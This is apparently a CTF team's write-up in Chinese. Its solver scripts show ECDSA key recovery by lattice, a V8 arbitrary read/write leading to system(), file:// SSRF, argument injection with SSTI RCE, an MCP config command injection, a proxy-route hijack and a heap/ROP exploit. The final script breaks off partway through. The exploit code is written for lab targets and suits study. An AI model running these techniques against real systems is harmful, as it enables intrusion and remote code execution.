跟新加入的臺灣學生戰隊 RCEs 第一次打比賽,拿了學生組第一。

感謝各位大佬帶我飛🙏
Talking to the Sunh2
- Author: whale120
使用者可以註冊、登入,然後產生一段 lyric line。伺服器會對 {account, message} 做 ECDSA 簽章,並把結果包成 token,目標是提交一個通過驗證、且 account == whale@whale-tw.com 的 token,驗證成功後 /api/verify 會回傳 flag。
Exploit:
- 多個不同帳號共用同一個 stored account
- ECDSA nonce 高 384 bits 相同
- Hidden Number Problem
- LLL 還原私鑰
- 偽造 admin token 拿 flag
solver.py
#!/usr/bin/env python3import base64, hashlib, json, secrets, requestsfrom urllib.parse import urljoinfrom ecdsa.curves import BRAINPOOLP512r1from fpylll import IntegerMatrix, LLL
BASE = "change challenge url here"SAMPLES = 6B = 1 << 128ADMIN = "whale@whale-tw.com"TARGET = "SinGen Said: At sunrise, when it answers over my signal, I sit by the sun."
def b64e(x): return base64.urlsafe_b64encode(x).rstrip(b"=").decode()def b64d(x): return base64.urlsafe_b64decode(x + "=" * (-len(x) % 4))
def payload(a, m): return json.dumps({"account": a, "message": m}, ensure_ascii=False, sort_keys=True, separators=(",", ":"))
def z(a, m): return int.from_bytes(hashlib.sha512(payload(a, m).encode()).digest(), "big")
def parse(t, size): _, p, sig = t.split(".") p, sig = json.loads(b64d(p)), b64d(sig) a, m = p["account"], p["message"] r = int.from_bytes(sig[:size], "big") s = int.from_bytes(sig[size:], "big") return a, m, r, s, z(a, m)
def fake_mail(i): return "a@b." + "\u0130" * 32766 + f"x{i}{secrets.token_hex(8)}.com"
def mat(rows): M = IntegerMatrix(len(rows), len(rows[0])) for i in range(len(rows)): for j in range(len(rows[0])): M[i, j] = int(rows[i][j]) return M
def center(x, n): x %= n return x - n if x > n // 2 else x
def collect(): base = BASE.rstrip("/") + "/" info = requests.get(urljoin(base, "/api/info")).json() n, size = int(info["order"]), int(info["order_bytes"]) sigs = []
for i in range(SAMPLES): s = requests.Session() mail = fake_mail(i) pw = "A" * 16
s.post(urljoin(base, "/register"), data={"email": mail, "password": pw}) s.post(urljoin(base, "/login"), data={"email": mail, "password": pw})
opt = { "time": i % 50, "motion": (i * 7 + 1) % 50, "place": (i * 11 + 2) % 50, "seat": (i * 13 + 3) % 50, }
token = s.post(urljoin(base, "/api/generate"), json=opt).json()["token"] sigs.append(parse(token, size))
return base, info, n, size, sigs
def recover(n, sigs): r0, s0, h0 = sigs[0][2], sigs[0][3], sigs[0][4] inv = pow(s0, -1, n) a0, c0 = r0 * inv % n, h0 * inv % n
A, C = [], [] for _, _, r, s, h in sigs[1:]: inv = pow(s, -1, n) A.append((r * inv - a0) % n) C.append((h * inv - c0) % n)
for m in range(2, min(len(A), 8) + 1): rows = [] for i in range(m): row = [0] * (m + 1) row[i] = n * n rows.append(row)
rows.append([x * n for x in A[:m]] + [B]) target = [-x * n for x in C[:m]] + [0] weight = B * n
L = mat([r + [0] for r in rows] + [target + [weight]]) LLL.reduction(L)
for i in range(L.nrows): row = [int(L[i, j]) for j in range(L.ncols)] if abs(row[-1]) != weight: continue
row = [(1 if row[-1] > 0 else -1) * x for x in row[:-1]]
for a, c, v in zip(A[:m], C[:m], row[:m]): if v % n: continue
for e in (v // n, -v // n): d = (e - c) * pow(a, -1, n) % n if all(abs(center(a * d + c, n)) < B for a, c in zip(A, C)): return d
def sign(a, m, d, n, size): G = BRAINPOOLP512r1.generator h = z(a, m)
while True: k = secrets.randbelow(n - 1) + 1 r = (k * G).x() % n s = pow(k, -1, n) * (h + r * d) % n if r and s: sig = r.to_bytes(size, "big") + s.to_bytes(size, "big") return "singen." + b64e(payload(a, m).encode()) + "." + b64e(sig)
base, info, n, size, sigs = collect()d = recover(n, sigs)admin = info.get("admin_account", ADMIN)target = info.get("target", TARGET)token = sign(admin, target, d, n, size)print(requests.post(urljoin(base, "/api/verify"), json={"token": token}).text)Web3JSh2
- Author: whale120
題目提供一個被修改過的 d8,裡面多了一個 evm() API。使用者送 base64 encoded JavaScript 給服務端執行。目標是利用自訂 EVM binding 的漏洞,在 V8 裡拿到 arbitrary read/write,最後呼叫 hidden v8::Shell::System執行 /readflag 拿 flag。
Exploit:
vm.push(obj)會把 JS object 的 raw tagged pointer 放進 EVM stackvm.stack()可以把這個值讀出來,形成addrofvm.get(idx)沒有檢查 stack 下界,vm.get(0)可以讀到stack[-1]- 用
MSTORE8在 EVM memory 裡偽造 stack slot,讓vm.get(0)回傳任意 tagged pointer,形成 fakeobj - 偽造
PACKED_DOUBLE JSArray,得到 heap arbitrary read/write - 找到
d8.file.exists的FunctionTemplateInfo.callback - 把 callback 從
v8::Shell::FileExists改成v8::Shell::System - 呼叫
d8.file.exists('/readflag'),實際會變成system('/readflag')
exploit.js
const convBuf = new ArrayBuffer(8);const f64 = new Float64Array(convBuf);const u64 = new BigUint64Array(convBuf);
function ftoi(x) { f64[0] = x; return u64[0];}
function itof(x) { u64[0] = x; return f64[0];}
function addrof(obj) { const vm = evm('00'); vm.push(obj); return BigInt(vm.stack(1)[0]);}
function writeByte(vm, off, val) { vm.push(val & 0xff); vm.push(off); vm.step();}
function fakeobj(addr) { const vm = evm('53'.repeat(16)); const fakeSlotOff = 0xffd8;
for (let i = 0; i < 8; i++) { writeByte(vm, fakeSlotOff + i, i === 0 ? 1 : 0); }
for (let i = 0; i < 8; i++) { writeByte(vm, fakeSlotOff + 8 + i, Number((addr >> BigInt(8 * i)) & 0xffn)); }
return vm.get(0);}
const container = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8];
const containerAddr = addrof(container);const elementsAddr = containerAddr - 0x48n;const fakeArrayAddr = elementsAddr + 0x8n;
const PACKED_DOUBLE_ARRAY_MAP = 0x0100d30dn;const EMPTY_FIXED_ARRAY = 0x000007e5n;
container[0] = itof((EMPTY_FIXED_ARRAY << 32n) | PACKED_DOUBLE_ARRAY_MAP);container[1] = itof((0x100n << 32n) | (elementsAddr & 0xffffffffn));
const fakeArray = fakeobj(fakeArrayAddr);
function setFakeElements(addr) { container[1] = itof((0x100n << 32n) | ((addr - 8n + 1n) & 0xffffffffn));}
function aar64(addr) { setFakeElements(addr); return ftoi(fakeArray[0]);}
function aaw64(addr, val) { setFakeElements(addr); fakeArray[0] = itof(val);}
function fullPtr(compressed) { return (containerAddr & 0xffffffff00000000n) | compressed;}
const target = d8.file.exists;const targetAddr = addrof(target);
const sfi = fullPtr(aar64(targetAddr - 1n + 16n) & 0xffffffffn);const functionTemplateInfo = fullPtr(aar64(sfi - 1n + 8n) & 0xffffffffn);
const callbackField = functionTemplateInfo - 1n + 60n;const fileExistsCallback = aar64(callbackField);
const shellSystem = fileExistsCallback - 0x1a80n;
aaw64(callbackField, shellSystem);
print(d8.file.exists('/readflag'));#includeh2
- Author: solarfish
打開前端可以看到它會檢查 URL:
if (!/^https?:\/\//i.test(url)) { result.textContent = 'URL must start with http:// or https://'; return;}看起來只能丟 http:// 或 https://,但這只是前端檢查,所以其實直接打 /convert 就可以繞過。
不過這題有 reCAPTCHA,所以我最後是直接在瀏覽器解完 captcha 後,開 Console 送 file://。
async function leak(url, name = 'out.pdf') { const token = grecaptcha.getResponse();
const body = new URLSearchParams(); body.set('url', url); body.set('g-recaptcha-response', token);
const r = await fetch('/convert', { method: 'POST', body });
if (!r.ok) { console.log(await r.text()); grecaptcha.reset(); return; }
const blob = await r.blob(); const blobUrl = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = blobUrl; a.download = name; a.click(); URL.revokeObjectURL(blobUrl);
grecaptcha.reset();}然後直接讀 source:
leak('file:///proc/self/cwd/server.js', 'server.pdf');下載 PDF 後就可以看到後端 source
重點在這段:
async function points_to_local_directory(input) { let url; try { url = new URL(input); } catch { return false; }
if (url.protocol !== 'file:') { return false; }
try { return (await fs.stat(file_url_to_path(url))).isDirectory(); } catch { return false; }}它只有擋 file:// 指到資料夾的情況。
所以像這個會被擋:
file:///proc/self/cwd/但這種讀檔案的就不會:
file:///proc/self/cwd/server.js因此可以直接把 server.js 抓下來轉成 PDF 然後就可以看到 flag了
Farewell, #includeh2
- Author: solarfish
題目 hint 有說可以用上一題的方法先拿資訊,所以一開始一樣先用 file:// 讀 source。
這次沒有 captcha,可以直接打 /convert:
BASE='challenge url here'
curl -s -X POST "$BASE/convert" \ --data-urlencode 'url=file:///proc/self/cwd/server.js' \ -o server.pdf然後再讀 package.json:
curl -s -X POST "$BASE/convert" \ --data-urlencode 'url=file:///proc/self/cwd/package.json' \ -o package.pdf可以看到這題多了 mdpdf,而且 server.js 也多了幾種 converter:
if (converter === 'standard-pdf') { result = await run_html_pdf_node(urls);} else if (converter === 'lite-pdf') { result = await run_percollate(urls);} else if (converter === 'markdown-pdf') { result = await run_md_pdf(urls);}看 run_percollate:
function run_percollate(user_input) { return new Promise(resolve => { const job = create_job('lite-pdf'); const urls = getallurl(user_input);
const args = [ 'pdf', '--no-sandbox', '--output', path.resolve(job.output_path), ...urls ];
const child = spawn(process.execPath, [percollate_cli, ...args], { cwd: work_dir, stdio: ['ignore', 'ignore', 'ignore'], env: { ...process.env, PUPPETEER_EXECUTABLE_PATH: process.env.PUPPETEER_EXECUTABLE_PATH || '/usr/bin/chromium' } }); });}這邊把使用者輸入直接接到 percollate 的 argv 後面。
而 getallurl 只是用空白切開:
function getallurl(input) { return String(input || '') .trim() .split(/\s+/) .filter(Boolean);}我可以把 URL 寫成:
--title=ARG_INJECTION_TESThttps://example.com測試:
cat > payload.txt <<'EOF'--title=ARG_INJECTION_TESThttps://example.comEOF
curl -s -X POST "$BASE/convert" \ --data-urlencode 'converter=lite-pdf' \ --data-urlencode url@payload.txt \ -o argtest.pdf載下來後發現

代表 --title 被 percollate 當成 option 吃進去了。
接著去 leak percollate 的 source:
curl -s -X POST "$BASE/convert" \ --data-urlencode 'converter=standard-pdf' \ --data-urlencode 'url=file:///app/lib/percollate/src/cli-opts.js' \ -o cli-opts.pdf可以看到 --template、--title 都是合法 option:
let opts_with_optarg = new Set([ 'output', 'template', 'style', 'css', 'url', 'wait', 'title', 'author', 'browser', 'toc-level',]);再看 /app/lib/percollate/index.js:
curl -s -X POST "$BASE/convert" \ --data-urlencode 'converter=standard-pdf' \ --data-urlencode 'url=file:///app/lib/percollate/index.js' \ -o percollate-index.pdf裡面會讀 template,然後丟給 Nunjucks render:
const html = nunjucks.renderString( await readFile(options.template || DEFAULT_TEMPLATE, 'utf8'), { filetype: 'pdf', title, author, date: new Date(), items, style, options: { use_toc, use_cover: options.cover || (options.cover !== false && (options.title || items.length > 1)) } });所以只要能控制 --template,就可以控制 Nunjucks template。
問題是 --template 要本機 path,不是 HTTP URL。
這邊可以用一個 Linux trick:
/proc/self/cmdline這個檔案會包含目前 process 的 argv。
而我們剛好可以控制 argv,所以可以讓 percollate 讀自己的 argv,並且把它當成 Nunjucks template render。
測 SSTI:
cat > payload.txt <<'EOF'--template=/proc/self/cmdline--title={{range.constructor("return(7*7)")()}}https://example.comEOF
curl -s -X POST "$BASE/convert" \ --data-urlencode 'converter=lite-pdf' \ --data-urlencode url@payload.txt \ -o ssti-test.pdf輸出裡可以看到:

執行 /readflag,它會回:

Usage: /readflag give me the flag
所以要執行的是 /readflag give me the flag
但是 payload 不能有空白,因為 server 會先 .split(/\s+/)。
所以不能直接:
execSync('/readflag give me the flag')改用 Node.js 的 spawn_sync,用 argv array 傳參數:
args:['/readflag','give','me','the','flag']最後 payload:
cat > payload.txt <<'EOF'--template=/proc/self/cmdline--title={{range.constructor("r=process.binding('spawn_sync').spawn({file:'/readflag',args:['/readflag','give','me','the','flag'],cwd:'/tmp',envPairs:Object.entries(process.env).map(e=>e[0]+'='+e[1]),stdio:[{type:'pipe',readable:true,writable:false},{type:'pipe',readable:false,writable:true},{type:'pipe',readable:false,writable:true}]});return(r.output[1].toString()+r.output[2].toString())")()}}https://example.comEOF
curl -s -X POST "$BASE/convert" \ --data-urlencode 'converter=lite-pdf' \ --data-urlencode url@payload.txt \ -o flag.pdf就可以看到 flag:

Camel riderh2
- Author: Frank
這題是一個黑箱 Perl Jail
Exploit:
open、readline、require、eval、system/qx等危險關鍵字被 blacklistflag.txt本身沒有被擋ARGV也沒有被擋- Perl 的
<ARGV>可以讀取@ARGV裡指定的檔案 - 用具名 diamond operator
<ARGV>避開被擋的<>
最後 payload:
@ARGV=q(flag.txt);print<ARGV>travel againh2
- Author: yochan06
通靈出應該在北海道,經過Google後發現這兩尊跟圖片上的幾乎一樣https://www.town.shikaoi.lg.jp/kurashi/kyoiku_bunka/history/shiseki_guide/n127/
Flag: NHNC{43.1849,143.0325}
Homeworkh2
- Author: ConsoleBreak
這題表面上是一個 matrix calculator,使用者可以輸入 X、Y 兩個矩陣和 operation。實際上程式有一個隱藏 operation blend <shift>,可以透過 shift 對 heap 上的 Real array 做越界存取。題目 debug 資訊會提示 Y[0][0] 到內部矩陣 A[0][1] 的距離剛好是 3 個 Real,所以用 blend 3 可以控制 A[0][1]。通過檢查後,程式會 leak n、a_plus_d、bc、C,再要求輸入隨機字串 T,最後用矩陣關係把 T 反推回來即可拿 flag。
Exploit:
- 設定
X、Y都是1x1matrix - 使用隱藏 operation
blend 3 - 因為
Y[0][0] + 3 * sizeof(Real) == A[0][1],所以可以覆寫A[0][1] - 令
X = 0、Y = 1e80,讓A[0][1] = 1e80 - 程式會 leak
n、a_plus_d、bc、C - 已知
b = 1e80,所以可以算出c = bc / b - 建立 companion matrix
[[0, b], [c, a_plus_d]] ** n - 對每個
C[i]反推第一個座標,也就是ord(T[i]) - 組回
T後送回程式取得 flag
solver.py
#!/usr/bin/env python3from pwn import *from decimal import *import re, sys
context.log_level = "error"getcontext().prec = 650getcontext().Emax = 999999999getcontext().Emin = -999999999
E = 80B = Decimal(10) ** E
io = remote(sys.argv[1], int(sys.argv[2])) if len(sys.argv) == 3 else process(sys.argv[1])
io.send( b"1 1\n1 1\n0\n" + (b"1" + b"0" * E) + b"\n" b"blend 3\n")
s = io.recvuntil(b"T:").decode(errors="ignore")
n = int(re.search(r"n = (\d+)", s).group(1))tr = Decimal(re.search(r"a_plus_d = ([^\n]+)", s).group(1))bc = Decimal(re.search(r"bc = ([^\n]+)", s).group(1))nums = [Decimal(x) for x in re.findall(r"[-+]?\d+(?:\.\d+)?e[+-]?\d+", s.split("C = ", 1)[1])]
def mul(a, b): return [ [a[0][0]*b[0][0]+a[0][1]*b[1][0], a[0][0]*b[0][1]+a[0][1]*b[1][1]], [a[1][0]*b[0][0]+a[1][1]*b[1][0], a[1][0]*b[0][1]+a[1][1]*b[1][1]], ]
m = [[Decimal(0), B], [bc / B, tr]]r = [[Decimal(1), Decimal(0)], [Decimal(0), Decimal(1)]]
while n: if n & 1: r = mul(r, m) m = mul(m, m) n >>= 1
det = (-bc) ** int(re.search(r"n = (\d+)", s).group(1))T = ""
for x, y in zip(nums[::2], nums[1::2]): v = (r[1][1] * x - r[0][1] * y) / det T += chr(int(v.to_integral_value(rounding=ROUND_HALF_EVEN)))
io.sendline(T.encode())print(io.recvall(timeout=2).decode(errors="ignore"), end="")Tea-agenth2
- Author: LemonTea
題目讓使用者上傳 MCP config,agent 會檢查 command 必須是 /app/mcp_memory,但啟動 server 時把 args 直接接進 shell command,沒有正確 quote,導致可以在參數裡插入 ; 做 command injection。因為 cat /flag 被擋,所以改用 dd</flag 讀出 flag。
Exploit:
command保持/app/mcp_memory通過 allowlist- 在
--profile參數插入;dd</flag;# - shell 實際執行
/app/mcp_memory --profile=guest;dd</flag;# ... dd讀取/flag並輸出到 MCP stdout
payload.json
{ "mcpServers": { "x": { "command": "/app/mcp_memory", "args": [ "--profile=guest;dd</flag;#", "--topic=general" ] } }}I Love Proxyh2
- Author: LemonTea
題目有一個對外的 edge-httpd proxy,內部還有一個只 expose 在 docker network 的 courier:7000。edge-httpd 的 UDP control plane 可以註冊 proxy route,但 activation 的 global key 是由攻擊者給的 seed 算出來的,沒有真正認證,所以可以註冊 /H -> courier:7000。接著利用 courier.cgi 的 hidden route hash、header hash padding、長 Host 檢查與偽造 body command object,最後觸發 run_filter("cat /flag.txt") 拿 flag。
Exploit:
- 逆
edge-httpd發現 UDP control plane 可以新增 route - 送 activation packet,自己算出
global key - 送 route registration packet,註冊
/H -> courier:7000 - 逆
courier.cgi找到 hidden route:suffix_hash_is(PATH_INFO, 10, 0x26045b27) - 使用同時滿足 suffix hash / full path hash 的 path:
/H=\xc8\x01\x01\xc8/1kVa/6.9R - 用
X-Pad讓 raw header 的 FNV hash 變成指定tag - 用超長
Hostheader 通過 host/body chain check - 在 512-byte body 裡偽造 courier 的 command object
- command 設成
cat /flag.txt,callback 指到run_filter
solver.py
#!/usr/bin/env python3import re, socket, struct, sys, timefrom urllib.parse import urlparse
M32 = 0xffffffffM64 = 0xffffffffffffffff
def rol32(x,r): return ((x<<r)|(x>>(32-r))) & M32def ror32(x,r): return ((x>>r)|(x<<(32-r))) & M32def rol64(x,r): x &= M64; r &= 63 return ((x<<r)|(x>>(64-r))) & M64def ror64(x,r): x &= M64; r &= 63 return ((x>>r)|(x<<(64-r))) & M64
def mix64(x): x &= M64 x = ((x ^ (x >> 30)) * 0xbf58476d1ce4e5b9) & M64 x = ((x ^ (x >> 27)) * 0x94d049bb133111eb) & M64 return (x ^ (x >> 31)) & M64
def fnv(d, h=0x811c9dc5): for c in d: h = ((h ^ c) * 0x1000193) & M32 return h
def csum(d, seed): r11 = (seed & 0xff) ^ len(d) ^ 0x9e3779b9 edi = seed & M32 r10 = seed & 0xff for i,b in enumerate(d): x = (b + (edi & 0xff)) & M32 m = (i ^ r10) & 3 if m == 1: x = (rol32(x ^ 0x41, (i & 7) + 3) + r11) & M32 elif m == 2: x = ror32((x * 0x10101) & M32, (i & 7) + 1) ^ r11 elif m == 0: x = ((x << ((i & 3) * 8)) & M32) ^ r11 else: x = (((r11 >> 11) ^ x) + r11) & M32 edi = (edi + 0x11) & M32 r11 = ((rol32(x, 5) * 0x45d9f3b) + 0x27100001) & M32 return (r11 ^ 0xa5c31e2d) & M32
def edge_key(seed): ebx = int.from_bytes(seed.to_bytes(4, "big"), "little") a = (((seed ^ 0x7f4a7c15) * 0x45d9f3b + 0x27100001) & M32) a = rol32(a, ((ebx >> 24) & 7) + 5) b = ror32((seed - 0x5a3ce1d3) & M32, ((ebx >> 16) & 7) + 3) return 0x31415927 if a == b else (a ^ b) & M32
def activation(seed=0x12345678): p = bytearray(b"\x89\x54\x32\x17" + bytes([3,0x36]) + seed.to_bytes(4,"big") + b"\0"*4) p[10:14] = csum(p[4:10], (seed ^ 0xa7) & 0xff).to_bytes(4,"big") return bytes(p), edge_key(seed)
def route_pkt(key, route=b"/H", up=b"courier:7000"): k = 0x42 dec = k ^ 0xa7 er = bytes(c ^ ((0x31 + 13*i) & 0xff) ^ dec for i,c in enumerate(route)) eu = bytes(c ^ ((0x31 + 13*i) & 0xff) ^ dec for i,c in enumerate(up)) p = bytearray(b"\x89\x54\x32\x17" + bytes([3,0x71,0x22,k])) p += len(route).to_bytes(2,"big") + len(up).to_bytes(2,"big") + key.to_bytes(4,"big") p += er + eu p += csum(p[4:], (k ^ 0xa7) & 0xff).to_bytes(4,"big") return bytes(p)
def mark(tag,bucket,pressure): x = ((pressure << 9) ^ (tag << 21) ^ bucket ^ 0x434f555249455237) & M64 return rol64((x * 0x9e3779b97f4a7c15) & M64, (tag & 0xf) + 7) ^ 0xa24baed4963ee407
def slot(tag,bucket,pressure,n): return mix64((tag<<32) ^ (pressure<<7) ^ ((n*0x9e3779b97f4a7c15)&M64) ^ (bucket<<19) ^ 0x6c61796f75745f30) & 3
def slide(tag,bucket,pressure,gate,n): x = ((n*0xd6e8feb86659fd93)&M64) ^ gate ^ mark(tag,bucket,pressure) ^ (tag<<23) ^ (pressure<<51) ^ 0x736c6964655f3130 return (mix64(x) % 3) * 8
def stream(tag,bucket,pressure,gate,i,l): x = (pressure<<19) ^ i ^ (l<<7) ^ rol64(gate,(i&15)+3) ^ (tag<<32) ^ 0x544150455f4c4f47 x = (x + ((i*0x9e3779b97f4a7c15)&M64) + mark(tag,bucket,pressure)) & M64 y = mix64(x) return (y ^ (y >> 17) ^ (y >> 41)) & M32
def cmdhash(enc,tag,bucket,pressure,gate): v = (tag ^ ((pressure * 0x45d9f3b) & M32) ^ len(enc) ^ 0x811c9dc5) & M32 for i,b in enumerate(enc): v = (((b + (stream(tag,bucket,pressure,gate,i,len(enc)) & 0xff)) ^ v) * 0x1000193) & M32 v ^= v >> 13 return (v ^ 0x6d2b79f5) & M32
def req(): n, tag, bucket, pressure = 512, 0x0d45c059, 17, 29 path = b"/H=\xc8\x01\x01\xc8/1kVa/6.9R" gate = mix64((bucket << 44) ^ (pressure << 19) ^ 0x484570243e202f2c) host12 = ((n << 7) ^ gate ^ 0x5353495f504f5354) & 0xffffffffffff
h = [ b"POST " + path + b" HTTP/1.1", b"Host: " + b"A"*0x558 + f"{host12:012x}".encode(), b"XXGATS_IGC: z", b"Content-Length: 512", b"-tveemh: raw", ] + [b"x-render-worker: z"] * 30 head = b"\r\n".join(h) + b"\r\nX-Pad: " + bytes.fromhex("b97455010105") + b"\r\n\r\n"
body = bytearray(b"\0" * n) mk = mark(tag,bucket,pressure) key = mix64((tag << 11) ^ (pressure << 47) ^ gate ^ 0x6a73696d705f6275)
body[0x49:0x51] = struct.pack("<Q", 0x58) body[0x58:0x60] = struct.pack("<Q", 0x58) body[0x80:0x88] = struct.pack("<Q", key ^ 0x9c8e949aa062989e) body[0x88:0x90] = struct.pack("<Q", key ^ 0x01a00000) body[0x90:0x98] = struct.pack("<Q", key ^ rol64((gate ^ mk) & M32, 17)) body[0xd0:0xd8] = struct.pack("<Q", 0xf8) body[0xd8:0xe0] = struct.pack("<Q", 0x5245545f414c4947) body[0xe0:0xe8] = struct.pack("<Q", 0x53595354454d5f31)
sl = slide(tag,bucket,pressure,gate,n) st = slot(tag,bucket,pressure,n) ecx = (tag ^ ((pressure * 0x45d9f3b) & M32)) & M32 x = (ecx ^ 0x6a09e667) & M32 x = ((x ^ (x >> 16)) * 0x7feb352d) & M32 x = (x ^ (x >> 15)) & M32 dst = (x & 7) + sl
def put(o,d): body[o-dst:o-dst+len(d)] = d
xgm = gate ^ mk seed = mix64((tag<<32) ^ (pressure<<23) ^ (st<<57) ^ ((n*0x94d049bb133111eb)&M64) ^ (sl<<48) ^ xgm ^ 0x7072656c75646531) put(0x107, struct.pack("<Q", seed ^ 0x535441474532)) put(0x10f, struct.pack("<I", ror64(((tag << 17) & M64) ^ seed, (pressure & 7) + 5) & M32)) put(0x113, struct.pack("<H", (rol64(seed, bucket + 3) ^ n ^ 0x6d5a) & 0xffff)) put(0x115, bytes((mix64(((0x9e3779b97f4a7c15*i)&M64)+seed) ^ (9*i+0x31) ^ (n>>(i&7)) ^ (tag>>(8*(i&3)))) & 0xff for i in range(17)))
cache = mix64((tag<<33) ^ (pressure<<48) ^ (st<<12) ^ ((n*0xa24baed4963ee407)&M64) ^ (sl<<56) ^ xgm ^ 0x7463616368655f31) put(0x126, struct.pack("<Q", cache)) put(0x146, struct.pack("<Q", mk))
cmd = b"cat /flag.txt" enc = bytes(c ^ ((0x17*i - 0x59) & 0xff) ^ (stream(tag,bucket,pressure,gate,i,len(cmd)) & 0xff) for i,c in enumerate(cmd)) chk = cmdhash(enc,tag,bucket,pressure,gate) put(0x13e, struct.pack("<I", len(cmd))) put(0x142, struct.pack("<I", chk)) put(0x156, enc)
a = mix64(mk ^ ((tag<<28)&M64) ^ ((chk<<17)&M64) ^ ((len(cmd)<<49)&M64) ^ ((n*0xd6e8feb86659fd93)&M64) ^ rol64(gate,9) ^ 0xfeedface43474931) sh = ((chk ^ len(cmd) ^ tag ^ (gate & M32)) & 0x1f) + 0x0d target = 0x4022ac put(0x14e, struct.pack("<Q", ((rol64(target ^ a, sh) - 0xe9a9984e61c88607) & M64) ^ ror64(a,17)))
return head + bytes(body)
def parse(u): if "://" in u: x = urlparse(u) return x.hostname, x.port or 80 if ":" in u: h,p = u.rsplit(":",1) return h,int(p) return u,int(sys.argv[2])
def main(): host, port = parse(sys.argv[1]) p1, key = activation() p2 = route_pkt(key)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for _ in range(3): s.sendto(p1, (host, port)) s.sendto(p2, (host, port)) time.sleep(0.05)
s = socket.create_connection((host, port)) s.sendall(req()) s.shutdown(socket.SHUT_WR) res = b"" while True: d = s.recv(65536) if not d: break res += d
print(res.decode(errors="ignore")) m = re.search(rb"NHNC\{[^}]+\}", res) if m: print("flag:", m.group().decode())
main()TEAGod Tech Staff WiFih2
- Author: chilin.h
這題是 FreeRADIUS / EAP-TLS。題目給的 freeradius/cert/ca.pem 不是內部 CA,而是公開的 Actalis Authentication Root CA,所以只要拿一張 Actalis 簽出的 client authentication certificate,就可以被當成合法 staff cert 通過驗證。
Exploit:
- 檢查 FreeRADIUS 的 EAP-TLS 設定,發現 client cert 信任
freeradius/cert/ca.pem - 確認
ca.pem是Actalis Authentication Root CA - 申請免費 Actalis client certificate,匯出
client.crt / client.key / chain.pem - 只保留 leaf +
Actalis Client Authentication CA G3,不要把 root 一起送,避免 packet 太大 - 用
eapol_test跑 EAP-TLS,成功後從Reply-Message拿 flag
staff.conf
network={ key_mgmt=IEEE8021X eap=TLS identity="your_mail@example.com" ca_cert="freeradius/cert/ca.pem" client_cert="client-min-chain.pem" private_key="client-clean.key" fragment_size=400}Flag: NHNC{Huh...HoW_did_U_10g_iN?_https://zeroday.hitcon.org/vulnerability/ZD-2025-00549}
67 login systemh2
- Author: Auron
題目是一個 login system,使用者資料會用 malloc(0x48) 配置,結構大概是 name[0x40] + FILE*。漏洞點有兩個:show 會直接 printf(username) 造成 format string leak,update 會對 0x48 的 chunk 讀入 0x200 bytes,造成 heap overflow。利用 overflow 改壞後面 FILE chunk 的 size,製造 heap overlap,再 tcache poisoning 控制 .bss 上的 slots[],最後任意讀 leak libc,任意寫蓋 stack return address 打 system("cat /flag.txt")。
Exploit:
- 用
%7$pleak PIE,%13$pleak stack hint。 showraw output leak slot0 後面的FILE*heap address。- overflow slot0,把後面
FILEchunk size 從0x1e1改成0x51。 delete(slot0)時fclose(FILE*)會把 fake 0x50 chunk 放進 tcache。- 重新 malloc 拿到舊
FILEchunk,造成 overlap,可以 overflow 到後面的 user chunk。 - free user chunk 後改 tcache next,safe-linking encode 成
slots[]。 - malloc 到
slots[],取得任意讀寫。 - leak
read@got算 libc base。 - 掃 stack 找 main 裡 show/update 回來的位置,最後蓋 saved RIP。
- ROP 呼叫
system("cat /flag.txt")拿 flag。
solver.py
#!/usr/bin/env python3from pwn import *import osimport re
BIN = "./chal" if os.path.exists("./chal") else "./share/chal"LIBC = "./libc.so.6"
context.binary = exe = ELF(BIN, checksec=False)libc = ELF(LIBC, checksec=False)context.log_level = "info"
HOST = "txg.chal2.teagod.tech"PORT = 16767
PROMPT = ( b"1. register\n" b"2. show\n" b"3. login\n" b"4. update\n" b"5. delete\n" b"6. exit\n" b"> ")
OFF_PIE_LEAK_RET = 0x209cOFF_SLOTS = 0x4060OFF_READ_GOT = 0x3f88OFF_RET = 0x101aOFF_MAIN_AFTER_SHOW = 0x165c
def p64x(x): return p64(x & 0xffffffffffffffff)
def start(): return remote(HOST, PORT) if args.REMOTE else process([exe.path])
io = start()io.recvuntil(PROMPT)
def menu(n): io.sendline(str(n).encode())
def reg(data): menu(1) io.recvuntil(b"username: ") io.send(data) return io.recvuntil(PROMPT)
def show(idx): menu(2) io.recvuntil(b"slot: ") io.sendline(str(idx).encode()) return io.recvuntil(PROMPT)
def upd(idx, data): menu(4) io.recvuntil(b"slot: ") io.sendline(str(idx).encode()) io.recvuntil(b"new username: ") io.send(data) return io.recvuntil(PROMPT)
def dele(idx): menu(5) io.recvuntil(b"slot: ") io.sendline(str(idx).encode()) return io.recvuntil(PROMPT)
def raw_from_show(out): i = out.rfind(PROMPT) return out[i - 0x48:i]
def set_slots(s0=0, s1=None, s2=0, s3=0): if s1 is None: s1 = slots upd(1, flat(p64x(s0), p64x(s1), p64x(s2), p64x(s3)))
def leak48(addr): set_slots(s0=addr) return raw_from_show(show(0))
def find_stack_ret(stack_hint): target = pie + OFF_MAIN_AFTER_SHOW start = (stack_hint - 0x500) & ~0xf end = stack_hint + 0x300
for addr in range(start, end, 0x40): data = leak48(addr) for off in range(0, 0x48, 8): if u64(data[off:off + 8]) == target: return addr + off
return stack_hint - 0x120
def find_exec_gadget(elf, pat): data = open(elf.path, "rb").read()
for seg in elf.segments: h = seg.header if h.p_type != "PT_LOAD": continue if not (int(h.p_flags) & 1): continue
off = int(h.p_offset) size = int(h.p_filesz) vaddr = int(h.p_vaddr)
idx = data[off:off + size].find(pat) if idx != -1: return elf.address + vaddr + idx
return None
def make_system_rop(arg): ret = pie + OFF_RET
pop_rdi = find_exec_gadget(libc, b"\x5f\xc3") if pop_rdi: return flat(ret, pop_rdi, arg, libc.sym["system"])
pop_rdi_rbp = find_exec_gadget(libc, b"\x5f\x5d\xc3") if pop_rdi_rbp: return flat(pop_rdi_rbp, arg, 0, libc.sym["system"])
pop_rdi_r12 = find_exec_gadget(libc, b"\x5f\x41\x5c\xc3") if pop_rdi_r12: return flat(pop_rdi_r12, arg, 0, libc.sym["system"])
raise RuntimeError("no gadget")
fmt = b"%7$p.%13$p.\n"reg(fmt)
out = show(0)line = out.split(b"\n", 1)[0]
m = re.search( rb"username:\s*(0x[0-9a-fA-F]+|\(nil\))\.(0x[0-9a-fA-F]+|\(nil\))\.", line)
pie = int(m.group(1), 16) - OFF_PIE_LEAK_RETstack_hint = int(m.group(2), 16)
raw = raw_from_show(out)fp0 = u64(raw[0x40:0x48])
A = fp0 - 0x50B = A + 0x230
